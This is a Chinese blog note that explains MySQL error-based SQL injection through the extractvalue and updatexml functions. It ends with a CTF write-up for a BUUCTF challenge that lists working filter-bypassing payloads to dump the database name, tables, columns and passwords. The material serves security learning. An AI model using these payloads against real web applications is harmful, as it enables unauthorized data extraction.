记录一下报错注入的几个函数和用法
报错注入常用的函数
函数 | 描述 |
extractvalue |
使用XPath表示法从XML字符串中提取值 |
updatexml | 返回替换的XML片段 |
extractvalue函数
ExtractValue(xml_frag, xpath_expr)
ExtractValue()
接受两个字符串参数,一个XML标记片段 xml_frag和一个XPath表达式 xpath_expr(也称为 定位器); 它返回CDATA
第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。
第一个参数可以传入目标xml文档,第二个参数是用Xpath路径法表示的查找路径,第二个参数格式书写错误的话就会出现报错信息,那么我们可以在第二个参数中注入一些sql语句从而能够在报错信息中得到我们想要的数据。
updatexml函数
UpdateXML(xml_target, xpath_expr, new_xml)
xml_target:: 需要操作的xml片段
xpath_expr: 需要更新的xml路径(Xpath格式)
new_xml: 更新后的内容
此函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 xml_target 新的XML片段 new_xml ,然后返回更改的XML。xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配。
例子:
mysql> SELECT -> UpdateXML('<a><b>ccc</b><d></d></a>', '/a', '<e>fff</e>') AS val1, -> UpdateXML('<a><b>ccc</b><d></d></a>', '/b', '<e>fff</e>') AS val2, -> UpdateXML('<a><b>ccc</b><d></d></a>', '//b', '<e>fff</e>') AS val3, -> UpdateXML('<a><b>ccc</b><d></d></a>', '/a/d', '<e>fff</e>') AS val4, -> UpdateXML('<a><d></d><b>ccc</b><d></d></a>', '/a/d', '<e>fff</e>') AS val5
结果:
***********结果************** val1: <e>fff</e> val2: <a><b>ccc</b><d></d></a> val3: <a><e>fff</e><d></d></a> val4: <a><b>ccc</b><e>fff</e></a> val5: <a><d></d><b>ccc</b><d></d></a>
这样我们就可以在第二个参数中注入一些SQL语句来得到我们想要的数据
实战
[极客大挑战 2019]HardSQL
题目来源:BUUCTF-WEB
https://buuoj.cn/challenges
试了一下and、select、--等关键字都被过滤了,但是有报错信息,可以试试报错注入
爆数据库:
?username=123&password=4456'^(updatexml(1,concat(0x7e,(select(database())),0x7e),1))%23
爆表:(这里'='被过滤,使用like进行绕过)
?username=123&password=4456'^(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))%23
爆字段:
?username=123&password=4456'^(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23
找password:
?username=123&password=4456'^(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23
这里只显示了一部分,使用right()多找几次就可以找到全部flag
拼接一下就可以得到完整的flag
参考
https://www.cnblogs.com/laoxiajiadeyun/p/10488731.html
https://blog.csdn.net/weixin_43952190/article/details/107096009
https://blog.csdn.net/u011718707/article/details/107405676